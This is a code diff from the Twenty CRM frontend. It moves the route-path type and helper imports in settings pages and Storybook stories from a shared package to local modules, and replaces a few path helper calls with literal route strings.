a/packages/twenty-front/src/pages/onboarding/__stories__/InviteTeam.stories.tsx +++ b/packages/twenty-front/src/pages/onboarding/__stories__/InviteTeam.stories.tsx @@ -1,8 +1,8 @@ +import { AppPath } from '@/types/AppPath'; import { getOperationName } from '@apollo/client/utilities'; import { type Meta, type StoryObj } from '@storybook/react'; import { within } from '@storybook/test'; import { HttpResponse, graphql } from 'msw'; -import { AppPath } from 'twenty-shared/types'; import { OnboardingStatus } from '~/generated/graphql'; import { GET_CURRENT_USER } from '~/modules/users/graphql/queries/getCurrentUser'; diff --git a/packages/twenty-front/src/pages/onboarding/__stories__/PaymentSuccess.stories.tsx b/packages/twenty-front/src/pages/onboarding/__stories__/PaymentSuccess.stories.tsx index 5499d5a836..28eb9a85cc 100644 --- a/packages/twenty-front/src/pages/onboarding/__stories__/PaymentSuccess.stories.tsx +++ b/packages/twenty-front/src/pages/onboarding/__stories__/PaymentSuccess.stories.tsx @@ -3,8 +3,8 @@ import { type Meta, type StoryObj } from '@storybook/react'; import { within } from '@storybook/test'; import { HttpResponse, graphql } from 'msw'; +import { AppPath } from '@/types/AppPath'; import { GET_CURRENT_USER } from '@/users/graphql/queries/getCurrentUser'; -import { AppPath } from 'twenty-shared/types'; import { OnboardingStatus } from '~/generated/graphql'; import { PaymentSuccess } from '~/pages/onboarding/PaymentSuccess'; import { diff --git a/packages/twenty-front/src/pages/onboarding/__stories__/SyncEmails.stories.tsx b/packages/twenty-front/src/pages/onboarding/__stories__/SyncEmails.stories.tsx index e468830fa8..6a8ef7f7cd 100644 --- a/packages/twenty-front/src/pages/onboarding/__stories__/SyncEmails.stories.tsx +++ b/packages/twenty-front/src/pages/onboarding/__stories__/SyncEmails.stories.tsx @@ -1,8 +1,8 @@ +import { AppPath } from '@/types/AppPath'; import { getOperationName } from '@apollo/client/utilities'; import { type Meta, type StoryObj } from '@storybook/react'; import { within } from '@storybook/test'; import { HttpResponse, graphql } from 'msw'; -import { AppPath } from 'twenty-shared/types'; import { OnboardingStatus } from '~/generated/graphql'; import { GET_CURRENT_USER } from '~/modules/users/graphql/queries/getCurrentUser'; diff --git a/packages/twenty-front/src/pages/settings/SettingsBilling.tsx b/packages/twenty-front/src/pages/settings/SettingsBilling.tsx index b7e963f75f..ef166690c4 100644 --- a/packages/twenty-front/src/pages/settings/SettingsBilling.tsx +++ b/packages/twenty-front/src/pages/settings/SettingsBilling.tsx @@ -6,10 +6,10 @@ import { SettingsBillingCreditsSection } from '@/billing/components/SettingsBill import { SettingsBillingSubscriptionInfo } from '@/billing/components/SettingsBillingSubscriptionInfo'; import { useRedirect } from '@/domain-manager/hooks/useRedirect'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { useSubscriptionStatus } from '@/workspace/hooks/useSubscriptionStatus'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { H2Title, IconCircleX, IconCreditCard } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; @@ -17,6 +17,7 @@ import { SubscriptionStatus, useBillingPortalSessionQuery, } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsBilling = () => { const { t } = useLingui(); @@ -37,7 +38,7 @@ export const SettingsBilling = () => { const { data, loading } = useBillingPortalSessionQuery({ variables: { - returnUrlPath: getSettingsPath(SettingsPath.Billing), + returnUrlPath: '/settings/billing', }, skip: !hasSubscriptions, }); diff --git a/packages/twenty-front/src/pages/settings/SettingsProfile.tsx b/packages/twenty-front/src/pages/settings/SettingsProfile.tsx index ab9d70ff59..669c65d234 100644 --- a/packages/twenty-front/src/pages/settings/SettingsProfile.tsx +++ b/packages/twenty-front/src/pages/settings/SettingsProfile.tsx @@ -8,12 +8,12 @@ import { EmailField } from '@/settings/profile/components/EmailField'; import { NameFields } from '@/settings/profile/components/NameFields'; import { ProfilePictureUploader } from '@/settings/profile/components/ProfilePictureUploader'; import { useCurrentUserWorkspaceTwoFactorAuthentication } from '@/settings/two-factor-authentication/hooks/useCurrentUserWorkspaceTwoFactorAuthentication'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title, IconShield, Status } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; import { UndecoratedLink } from 'twenty-ui/navigation'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsProfile = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/pages/settings/SettingsTwoFactorAuthenticationMethod.tsx b/packages/twenty-front/src/pages/settings/SettingsTwoFactorAuthenticationMethod.tsx index 92a3a974cc..9f7a35b39e 100644 --- a/packages/twenty-front/src/pages/settings/SettingsTwoFactorAuthenticationMethod.tsx +++ b/packages/twenty-front/src/pages/settings/SettingsTwoFactorAuthenticationMethod.tsx @@ -13,14 +13,14 @@ import { TwoFactorAuthenticationVerificationForSettings } from '@/settings/two-f import { useCurrentUserWorkspaceTwoFactorAuthentication } from '@/settings/two-factor-authentication/hooks/useCurrentUserWorkspaceTwoFactorAuthentication'; import { useTwoFactorVerificationForSettings } from '@/settings/two-factor-authentication/hooks/useTwoFactorVerificationForSettings'; import { extractSecretFromOtpUri } from '@/settings/two-factor-authentication/utils/extractSecretFromOtpUri'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { useTheme } from '@emotion/react'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title, IconCopy } from 'twenty-ui/display'; import { Loader } from 'twenty-ui/feedback'; import { Section } from 'twenty-ui/layout'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledQRCodeContainer = styled.div` margin: ${({ theme }) => theme.spacing(4)} 0; diff --git a/packages/twenty-front/src/pages/settings/SettingsWorkspace.tsx b/packages/twenty-front/src/pages/settings/SettingsWorkspace.tsx index 2c89710f4f..8f576dc179 100644 --- a/packages/twenty-front/src/pages/settings/SettingsWorkspace.tsx +++ b/packages/twenty-front/src/pages/settings/SettingsWorkspace.tsx @@ -4,11 +4,11 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContain import { DeleteWorkspace } from '@/settings/profile/components/DeleteWorkspace'; import { NameField } from '@/settings/workspace/components/NameField'; import { WorkspaceLogoUploader } from '@/settings/workspace/components/WorkspaceLogoUploader'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsWorkspace = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/pages/settings/SettingsWorkspaceMembers.tsx b/packages/twenty-front/src/pages/settings/SettingsWorkspaceMembers.tsx index 30945eaa89..0cb8897a36 100644 --- a/packages/twenty-front/src/pages/settings/SettingsWorkspaceMembers.tsx +++ b/packages/twenty-front/src/pages/settings/SettingsWorkspaceMembers.tsx @@ -12,6 +12,7 @@ import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSi import { useDeleteOneRecord } from '@/object-record/hooks/useDeleteOneRecord'; import { useFindManyRecords } from '@/object-record/hooks/useFindManyRecords'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { SettingsTextInput } from '@/ui/input/components/SettingsTextInput'; import { ConfirmationModal } from '@/ui/layout/modal/components/ConfirmationModal'; @@ -24,8 +25,7 @@ import { WorkspaceInviteLink } from '@/workspace/components/WorkspaceInviteLink' import { WorkspaceInviteTeam } from '@/workspace/components/WorkspaceInviteTeam'; import { type ApolloError } from '@apollo/client'; import { formatDistanceToNow } from 'date-fns'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { AppTooltip, Avatar, @@ -40,7 +40,7 @@ import { import { IconButton } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; import { useGetWorkspaceInvitationsQuery } from '~/generated-metadata/graphql'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { TableCell } from '../../modules/ui/layout/table/components/TableCell'; import { TableRow } from '../../modules/ui/layout/table/components/TableRow'; import { useDeleteWorkspaceInvitation } from '../../modules/workspace-invitation/hooks/useDeleteWorkspaceInvitation'; diff --git a/packages/twenty-front/src/pages/settings/__stories__/SettingsBilling.stories.tsx b/packages/twenty-front/src/pages/settings/__stories__/SettingsBilling.stories.tsx index 24e15667f7..dcfc84ab08 100644 --- a/packages/twenty-front/src/pages/settings/__stories__/SettingsBilling.stories.tsx +++ b/packages/twenty-front/src/pages/settings/__stories__/SettingsBilling.stories.tsx @@ -1,7 +1,7 @@ import { type Meta, type StoryObj } from '@storybook/react'; import { expect, within } from '@storybook/test'; -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; import { PageDecorator, type PageDecoratorArgs, @@ -9,8 +9,7 @@ import { import { graphqlMocks } from '~/testing/graphqlMocks'; import { sleep } from '~/utils/sleep'; -import { getSettingsPath } from 'twenty-shared/utils'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { SettingsBilling } from '../SettingsBilling'; const meta: Meta = { diff --git a/packages/twenty-front/src/pages/settings/accounts/SettingsAccounts.tsx b/packages/twenty-front/src/pages/settings/accounts/SettingsAccounts.tsx index a2364dbb8e..e606b37980 100644 --- a/packages/twenty-front/src/pages/settings/accounts/SettingsAccounts.tsx +++ b/packages/twenty-front/src/pages/settings/accounts/SettingsAccounts.tsx @@ -9,13 +9,13 @@ import { SettingsAccountsBlocklistSection } from '@/settings/accounts/components import { SettingsAccountsConnectedAccountsListCard } from '@/settings/accounts/components/SettingsAccountsConnectedAccountsListCard'; import { SettingsAccountsSettingsSection } from '@/settings/accounts/components/SettingsAccountsSettingsSection'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { useLingui } from '@lingui/react/macro'; import { useRecoilValue } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsAccounts = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/pages/settings/accounts/SettingsAccountsCalendars.tsx b/packages/twenty-front/src/pages/settings/accounts/SettingsAccountsCalendars.tsx index 3211c3bedf..28e8c4a9e6 100644 --- a/packages/twenty-front/src/pages/settings/accounts/SettingsAccountsCalendars.tsx +++ b/packages/twenty-front/src/pages/settings/accounts/SettingsAccountsCalendars.tsx @@ -1,9 +1,9 @@ import { SettingsAccountsCalendarChannelsContainer } from '@/settings/accounts/components/SettingsAccountsCalendarChannelsContainer'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { Trans, useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { Section } from 'twenty-ui/layout'; export const SettingsAccountsCalendars = () => { diff --git a/packages/twenty-front/src/pages/settings/accounts/SettingsAccountsEmails.tsx b/packages/twenty-front/src/pages/settings/accounts/SettingsAccountsEmails.tsx index 67cdf0bb41..0b28f2d84f 100644 --- a/packages/twenty-front/src/pages/settings/accounts/SettingsAccountsEmails.tsx +++ b/packages/twenty-front/src/pages/settings/accounts/SettingsAccountsEmails.tsx @@ -1,9 +1,9 @@ import { SettingsAccountsMessageChannelsContainer } from '@/settings/accounts/components/SettingsAccountsMessageChannelsContainer'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { Section } from 'twenty-ui/layout'; export const SettingsAccountsEmails = () => { diff --git a/packages/twenty-front/src/pages/settings/accounts/SettingsNewAccount.tsx b/packages/twenty-front/src/pages/settings/accounts/SettingsNewAccount.tsx index 15eee8ab15..f76818905c 100644 --- a/packages/twenty-front/src/pages/settings/accounts/SettingsNewAccount.tsx +++ b/packages/twenty-front/src/pages/settings/accounts/SettingsNewAccount.tsx @@ -1,8 +1,8 @@ import { SettingsNewAccountSection } from '@/settings/accounts/components/SettingsNewAccountSection'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsNewAccount = () => { return ( diff --git a/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdmin.tsx b/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdmin.tsx index e17eba5ec6..43b4a92e98 100644 --- a/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdmin.tsx +++ b/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdmin.tsx @@ -1,9 +1,9 @@ import { SettingsAdminContent } from '@/settings/admin-panel/components/SettingsAdminContent'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsAdmin = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdminConfigVariableDetails.tsx b/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdminConfigVariableDetails.tsx index 0c7ab8cd86..ef2331a8df 100644 --- a/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdminConfigVariableDetails.tsx +++ b/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdminConfigVariableDetails.tsx @@ -10,19 +10,20 @@ import { useConfigVariableActions } from '@/settings/admin-panel/config-variable import { useConfigVariableForm } from '@/settings/admin-panel/config-variables/hooks/useConfigVariableForm'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; import { SettingsSkeletonLoader } from '@/settings/components/SettingsSkeletonLoader'; +import { SettingsPath } from '@/types/SettingsPath'; import { ConfirmationModal } from '@/ui/layout/modal/components/ConfirmationModal'; import { useModal } from '@/ui/layout/modal/hooks/useModal'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { useRecoilValue } from 'recoil'; -import { SettingsPath, type ConfigVariableValue } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { type ConfigVariableValue } from 'twenty-shared/types'; +import { isDefined } from 'twenty-shared/utils'; import { H3Title, IconCheck, IconPencil, IconX } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { ConfigSource, useGetDatabaseConfigVariableQuery, } from '~/generated-metadata/graphql'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledForm = styled(Form)` display: flex; flex-direction: column; diff --git a/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdminIndicatorHealthStatus.tsx b/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdminIndicatorHealthStatus.tsx index 77c0c4a2cb..1508d1bd8f 100644 --- a/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdminIndicatorHealthStatus.tsx +++ b/packages/twenty-front/src/pages/settings/admin-panel/SettingsAdminIndicatorHealthStatus.tsx @@ -3,12 +3,11 @@ import { SettingsAdminIndicatorHealthStatusContent } from '@/settings/admin-pane import { SettingsAdminIndicatorHealthContext } from '@/settings/admin-panel/health-status/contexts/SettingsAdminIndicatorHealthContext'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; import { SettingsSkeletonLoader } from '@/settings/components/SettingsSkeletonLoader'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import styled from '@emotion/styled'; import { useLingui } from '@lingui/react/macro'; import { useParams } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title, H3Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; import { @@ -16,6 +15,7 @@ import { HealthIndicatorId, useGetIndicatorHealthStatusQuery, } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledTitleContainer = styled.div` align-items: center; diff --git a/packages/twenty-front/src/pages/settings/ai/SettingsAI.tsx b/packages/twenty-front/src/pages/settings/ai/SettingsAI.tsx index 808ed01cb2..e9447d756d 100644 --- a/packages/twenty-front/src/pages/settings/ai/SettingsAI.tsx +++ b/packages/twenty-front/src/pages/settings/ai/SettingsAI.tsx @@ -1,12 +1,12 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title, IconPlus } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; import { UndecoratedLink } from 'twenty-ui/navigation'; import { useFindManyAgentsQuery } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { t } from '@lingui/core/macro'; import { SettingsAIAgentsTable } from './components/SettingsAIAgentsTable'; diff --git a/packages/twenty-front/src/pages/settings/ai/SettingsAgentForm.tsx b/packages/twenty-front/src/pages/settings/ai/SettingsAgentForm.tsx index 5097a92485..f82421283f 100644 --- a/packages/twenty-front/src/pages/settings/ai/SettingsAgentForm.tsx +++ b/packages/twenty-front/src/pages/settings/ai/SettingsAgentForm.tsx @@ -6,12 +6,13 @@ import { useRecoilValue } from 'recoil'; import { currentWorkspaceState } from '@/auth/states/currentWorkspaceState'; import { SaveAndCancelButtons } from '@/settings/components/SaveAndCancelButtons/SaveAndCancelButtons'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { useModal } from '@/ui/layout/modal/hooks/useModal'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { t } from '@lingui/core/macro'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { H2Title, IconTrash } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; @@ -23,7 +24,7 @@ import { } from '~/generated-metadata/graphql'; import { useNavigateApp } from '~/hooks/useNavigateApp'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { SettingsAgentDeleteConfirmationModal } from './components/SettingsAgentDeleteConfirmationModal'; import { SettingsAgentDetailSkeletonLoader } from './components/SettingsAgentDetailSkeletonLoader'; import { SettingsAgentHandoffSection } from './components/SettingsAgentHandoffSection'; diff --git a/packages/twenty-front/src/pages/settings/ai/components/SettingsAIAgentsTable.tsx b/packages/twenty-front/src/pages/settings/ai/components/SettingsAIAgentsTable.tsx index ecb665efcc..16f9da3999 100644 --- a/packages/twenty-front/src/pages/settings/ai/components/SettingsAIAgentsTable.tsx +++ b/packages/twenty-front/src/pages/settings/ai/components/SettingsAIAgentsTable.tsx @@ -2,18 +2,17 @@ import styled from '@emotion/styled'; import { useLingui } from '@lingui/react/macro'; import { useState } from 'react'; +import { SettingsPath } from '@/types/SettingsPath'; import { SettingsTextInput } from '@/ui/input/components/SettingsTextInput'; import { SortableTableHeader } from '@/ui/layout/table/components/SortableTableHeader'; import { Table } from '@/ui/layout/table/components/Table'; import { TableHeader } from '@/ui/layout/table/components/TableHeader'; import { useSortedArray } from '@/ui/layout/table/hooks/useSortedArray'; import { useTheme } from '@emotion/react'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconChevronRight, IconSearch } from 'twenty-ui/display'; import { type Agent } from '~/generated-metadata/graphql'; import { SETTINGS_AI_AGENT_TABLE_METADATA } from '~/pages/settings/ai/constants/SettingsAiAgentTableMetadata'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { SettingsAIAgentTableRow, StyledAIAgentTableRow, diff --git a/packages/twenty-front/src/pages/settings/ai/components/SettingsAgentDeleteConfirmationModal.tsx b/packages/twenty-front/src/pages/settings/ai/components/SettingsAgentDeleteConfirmationModal.tsx index 2c01b634d2..e9cd05076d 100644 --- a/packages/twenty-front/src/pages/settings/ai/components/SettingsAgentDeleteConfirmationModal.tsx +++ b/packages/twenty-front/src/pages/settings/ai/components/SettingsAgentDeleteConfirmationModal.tsx @@ -5,7 +5,7 @@ import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { ConfirmationModal } from '@/ui/layout/modal/components/ConfirmationModal'; import { useModal } from '@/ui/layout/modal/hooks/useModal'; -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; import { useDeleteOneAgentMutation } from '~/generated-metadata/graphql'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; diff --git a/packages/twenty-front/src/pages/settings/data-model/SettingsNewObject.tsx b/packages/twenty-front/src/pages/settings/data-model/SettingsNewObject.tsx index 3909501c39..a3046023c6 100644 --- a/packages/twenty-front/src/pages/settings/data-model/SettingsNewObject.tsx +++ b/packages/twenty-front/src/pages/settings/data-model/SettingsNewObject.tsx @@ -10,16 +10,16 @@ import { type SettingsDataModelObjectAboutFormValues, settingsDataModelObjectAboutFormSchema, } from '@/settings/data-model/validation-schemas/settingsDataModelObjectAboutFormSchema'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { ApolloError } from '@apollo/client'; import { useLingui } from '@lingui/react/macro'; import { useState } from 'react'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsNewObject = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/pages/settings/data-model/SettingsObjectDetailPage.tsx b/packages/twenty-front/src/pages/settings/data-model/SettingsObjectDetailPage.tsx index 2ea354495b..d94cd4d6b5 100644 --- a/packages/twenty-front/src/pages/settings/data-model/SettingsObjectDetailPage.tsx +++ b/packages/twenty-front/src/pages/settings/data-model/SettingsObjectDetailPage.tsx @@ -8,18 +8,19 @@ import { ObjectIndexes } from '@/settings/data-model/object-details/components/t import { ObjectSettings } from '@/settings/data-model/object-details/components/tabs/ObjectSettings'; import { SettingsDataModelObjectTypeTag } from '@/settings/data-model/objects/components/SettingsDataModelObjectTypeTag'; import { getObjectTypeLabel } from '@/settings/data-model/utils/getObjectTypeLabel'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { TabList } from '@/ui/layout/tab-list/components/TabList'; import { isAdvancedModeEnabledState } from '@/ui/navigation/navigation-drawer/states/isAdvancedModeEnabledState'; import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled'; import styled from '@emotion/styled'; import { useRecoilState, useRecoilValue } from 'recoil'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; import { activeTabIdComponentState } from '@/ui/layout/tab-list/states/activeTabIdComponentState'; import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; import { useLingui } from '@lingui/react/macro'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { H3Title, IconCodeCircle, @@ -35,6 +36,7 @@ import { FeatureFlagKey } from '~/generated/graphql'; import { useNavigateApp } from '~/hooks/useNavigateApp'; import { SETTINGS_OBJECT_DETAIL_TABS } from '~/pages/settings/data-model/constants/SettingsObjectDetailTabs'; import { updatedObjectNamePluralState } from '~/pages/settings/data-model/states/updatedObjectNamePluralState'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledContentContainer = styled.div` flex: 1; diff --git a/packages/twenty-front/src/pages/settings/data-model/SettingsObjectFieldEdit.tsx b/packages/twenty-front/src/pages/settings/data-model/SettingsObjectFieldEdit.tsx index 392e452317..ff908d719e 100644 --- a/packages/twenty-front/src/pages/settings/data-model/SettingsObjectFieldEdit.tsx +++ b/packages/twenty-front/src/pages/settings/data-model/SettingsObjectFieldEdit.tsx @@ -21,18 +21,20 @@ import { SettingsDataModelFieldIconLabelForm } from '@/settings/data-model/field import { SettingsDataModelFieldSettingsFormCard } from '@/settings/data-model/fields/forms/components/SettingsDataModelFieldSettingsFormCard'; import { settingsFieldFormSchema } from '@/settings/data-model/fields/forms/validation-schemas/settingsFieldFormSchema'; import { type SettingsFieldType } from '@/settings/data-model/types/SettingsFieldType'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { ApolloError } from '@apollo/client'; import { useLingui } from '@lingui/react/macro'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { H2Title, IconArchive, IconArchiveOff } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; import { FieldMetadataType } from '~/generated-metadata/graphql'; import { useNavigateApp } from '~/hooks/useNavigateApp'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; //TODO: fix this type export type SettingsDataModelFieldEditFormValues = z.infer< diff --git a/packages/twenty-front/src/pages/settings/data-model/SettingsObjectOverview.tsx b/packages/twenty-front/src/pages/settings/data-model/SettingsObjectOverview.tsx index a463d61dd4..dd1df96b60 100644 --- a/packages/twenty-front/src/pages/settings/data-model/SettingsObjectOverview.tsx +++ b/packages/twenty-front/src/pages/settings/data-model/SettingsObjectOverview.tsx @@ -1,9 +1,9 @@ import { ReactFlowProvider } from '@xyflow/react'; import { SettingsDataModelOverview } from '@/settings/data-model/graph-overview/components/SettingsDataModelOverview'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsObjectOverview = () => { return ( @@ -13,7 +13,7 @@ export const SettingsObjectOverview = () => { children: 'Workspace', href: getSettingsPath(SettingsPath.Workspace), }, - { children: 'Objects', href: getSettingsPath(SettingsPath.Objects) }, + { children: 'Objects', href: '/settings/objects' }, { children: 'Overview', }, diff --git a/packages/twenty-front/src/pages/settings/data-model/SettingsObjects.tsx b/packages/twenty-front/src/pages/settings/data-model/SettingsObjects.tsx index c95b2ca80a..85062045fa 100644 --- a/packages/twenty-front/src/pages/settings/data-model/SettingsObjects.tsx +++ b/packages/twenty-front/src/pages/settings/data-model/SettingsObjects.tsx @@ -10,6 +10,7 @@ import { import { SettingsObjectCoverImage } from '@/settings/data-model/objects/components/SettingsObjectCoverImage'; import { SettingsObjectInactiveMenuDropDown } from '@/settings/data-model/objects/components/SettingsObjectInactiveMenuDropDown'; import { getObjectTypeLabel } from '@/settings/data-model/utils/getObjectTypeLabel'; +import { SettingsPath } from '@/types/SettingsPath'; import { SettingsTextInput } from '@/ui/input/components/SettingsTextInput'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { SortableTableHeader 